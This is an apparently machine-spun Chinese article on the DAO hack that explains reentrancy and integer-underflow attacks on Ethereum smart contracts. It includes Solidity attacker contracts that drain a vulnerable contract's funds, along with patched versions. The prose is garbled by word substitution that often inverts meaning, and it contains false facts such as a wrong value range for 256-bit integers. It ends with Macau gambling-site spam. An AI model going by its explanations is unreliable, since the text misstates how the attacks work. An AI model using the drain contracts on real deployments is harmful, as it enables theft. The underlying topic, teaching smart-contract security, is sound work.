如果你在数字货币世界待过充足时间，或许你听闻过1或2个智能合约反击时间，这些反击造成了几千万美元的偷窃损失。最知名的反击是DAO事件，这是数字货币世界最受期望的项目之一，同时也是智能合约的改革。
虽然很多人听闻过这些反击，但是很少人告诉究竟再次发生了什么，是怎么再次发生的，以及如何防止这些错误。智能合约是动态的，简单的以及难以置信地强劲。
虽然他们的潜力是很难想象，但是也不有可能一夜之间就沦为了反击的对象。也就是说，对于往后的数字货币，我们可以从之前的错误中学到经验，然后一起茁壮。虽然DAO是早已再次发生的事情，但是这对于开发者，投资者，以及社区成员对于智能合约反击来说，都是一个很好的例子。
2020-03-30 ，我想要和大家聊聊从DAO事件中，我们教给的3件事。反击＃1：轻进反击当攻击者通过对目标调用付款操作者的时候，轻进反击就不会再次发生，就样子DAO事件一样。
当合约无法在收到资金之前改版状态（用户余额），攻击者就可以倒数展开萃取函数调用，来取得合约中的资金。任何时候攻击者取得以太币，他的合约都会自动地调用对系统函数，function（），这就再度调用了提现合约。这时候，反击就不会转入迭代电路，这时候这个合约中的资金就不会转至攻击者。
因为目标合约都在不时地调用攻击者的函数，这个合约也会改版攻击者的余额。当前的合约会找到有任何问题，更加确切地说道，合约函数中包括对系统函数，当合约接到以太币和零数据的时候，合约函数就不会自动继续执行。
反击流程1．攻击者将以太币现金目标函数2．目标函数就不会根据现金的以太币而改版攻击者的大约3．攻击者催促拿回资金4．资金就不会撤回5．攻击者的对系统函数生效，然后调用提现功能6．智能合约的逻辑就不会改版攻击者的余额，因为提现又被顺利调用7．资金发送到攻击者8．第5－7步重复使用9．一旦反击完结，攻击者就不会把资金从他们自己的合约发送到个人地址1＊UeDgMZo2n0skHzgkl352zQ交接反击的迭代电路很意外地是，一旦这个反击开始，无法停下来。攻击者的提现功能不会被一次次地调用，直到合约中的燃料跑完，或者被害者的以太币余额被消耗光。
代码下面就是DAO合约的非常简单版本，其中不会还包括一些讲解来为这些不熟知代码／solidity语言更佳地解读合约。contractbabyDAO｛／＊assignkey／valuepairsowecanlookupcreditintegerswithanETHaddress＊／mapping（address＝＞uint256）publiccredit；／＊afunctionforfundstobeaddedtothecontract，senderwillbecreditedamountsent＊／functiondonate（addressto）payable｛credit［msg．sender］＋＝msg．value；｝／＊showethercreditedtoaddress＊／functionassignedCredit（address）returns（uint）｛returncredit［msg．sender］；｝／＊withdrawaletherfromcontract＊／functionwithdraw（uintamount）｛if（credit［msg．sender］＞＝amount）｛msg．sender．call．value（amount）（）；credit［msg．sender］－＝amount；｝｝｝如果我们看下函数withdraw（），我们可以看见DAO合约用于address．call．value（）来发送到资金到msg．sender。不仅如此，在资金收到后，合约不会改版credit［msg．sender］的状态。
攻击者在找到了合约代码中的问题，就需要用于类似于下面的ThisIsAHodlUp｛｝来将资金转至contractbabyDAO｛｝合约。import‘browser／babyDAO．sol’；contractThisIsAHodlUp｛／＊assignbabyDAOcontractas＂dao＂＊／babyDAOpublicdao＝babyDAO（0x2ae．．．）；addressowner；／＊assigncontractcreatorasowner＊／constructor（ThisIsAHodlUp）public｛owner＝msg．sender；｝／＊fallbackfunction，withdrawsfundsfrombabyDAO＊／function（）public｛dao．withdraw（dao．assignedCredit（this））；｝／＊senddrainedfundstoattacker’saddress＊／functiondrainFunds（）payablepublic｛owner．transfer（address（this）．balance）；｝｝必须留意地是，这个前进函数，function（），不会调用DAO或者babyDAO｛｝的提现函数，来从合约中窃取资金。从另个方面来说，当攻击者想把所有盗窃来的资金赚到到他们的地址，drainFunds（）功能不会被调用。解决方案现在，我们应当确切纠错反击不会利用两个尤其的智能合约漏洞。
第一个是当合约的状态在资金收到之后，而不是之前展开改版。由于在收到资金前无法改版合约状态，函数就不会在中间计算出来的时候被停下来，合约也指出资金只不过还没收到。
第二个漏洞就当合约错误地用于address．call．value（）来收到资金，而不是address．transfer（）或者address．send（）。这两个都受限于2300gas，只记录一个事件而不是多个外部调用。contractbabyDAO｛．．．．functionwithdraw（uintamount）｛if（credit［msg．sender］＞＝amount）｛credit［msg．sender］－＝amount；／＊updatesbalancefirst＊／msg．sender．send（amount）（）；／＊sendfundsproperly＊／｝｝反击2：下溢反击虽然DAO合约会让受害者掉进下溢反击，我们需要通过现有的babyDAOcontract｛｝来更佳地解读这些反击为什么不会再次发生。
首先，我们必须解读什么是256单位制。一个256单位制是由256个字节构成。以太坊的虚拟机是用于256字节来已完成的。因为以太坊虚拟机受限于256字节的大小，所以数字的范围是0到4，294，967，295（22？？）。
如果我们多达这个范围，那么数字就不会重置到范围的最底部（22？？＋1＝0）。如果我们高于这个范围，这个数字就不会重置到这个范围的顶端（0–1＝22？？）。
当我们从零中乘以小于零的数，就不会再次发生下溢反击，造成一个新的22？？数集。现在，如果攻击者的余额再次发生了下溢，那么这部分余额就不会改版，从而造成整个资金被盗。反击流程攻击者通过收到1Wei到目标合约，来启动反击。合约证书收到资金的人随后调用1Wei的提现函数合约不会从发送者的账户扣减的1Wei，现在账户余额又是零因为目标合约将以太币发给攻击者，攻击者的撤回函数被惩处，所以提现函数又被调用。
提现1Wei的事件被记录攻击者合约的余额就不会改版两次，第一次是到零，第二次是到－1。攻击者的余额回置到22？？攻击者通过提现目标合约的所有资金，从而已完成整个反击代码／＊donate1wei，withdraw1wei＊／functionattack（）｛dao．donate．value（1）（this）；dao．withdraw（1）；｝／＊fallbackfunction，resultsin0–1＝2＊＊256＊／function（）｛if（performAttack）｛performAttack＝false；dao．withdraw（1）；｝｝／＊extractbalancefromsmartcontract＊／functiongetJackpot（）｛dao．withdraw（dao．balance）；owner．send（this．balance）；｝｝解决方案为了避免受害人陷于下溢反击，最差的方法是看改版的状态否在字节范围内。我们可以加到参数来检查我们的代码，作为最后一层维护。
函数withdraw（）的首行代码是为了检查否有充足的资金，第二行是为了检查超溢，第三个是检查下溢。contractbabysDAO｛．．．．／＊withdrawaletherfromcontract＊／functionwithdraw（uintamount）｛if（credit［msg．sender］＞＝amount＆＆credit［msg．sender］＋amount＞＝credit［msg．sender］＆＆credit［msg．sender］－amount＜＝credit［msg．sender］）｛credit［msg．sender］－＝amount；msg．sender．send（amount）（）；｝｝必须留意，就像我们之前辩论，我们上面的代码是在收到资金之前改版用户的余额。
本文关键词：澳门新葡游戏网登录入口,新澳门游戏网站入口app,澳门新莆京游戏app大厅,澳门新葡电子游戏网,澳门新莆京游戏大厅版本
本文来源：澳门新葡游戏网登录入口-www.qgsjjk.com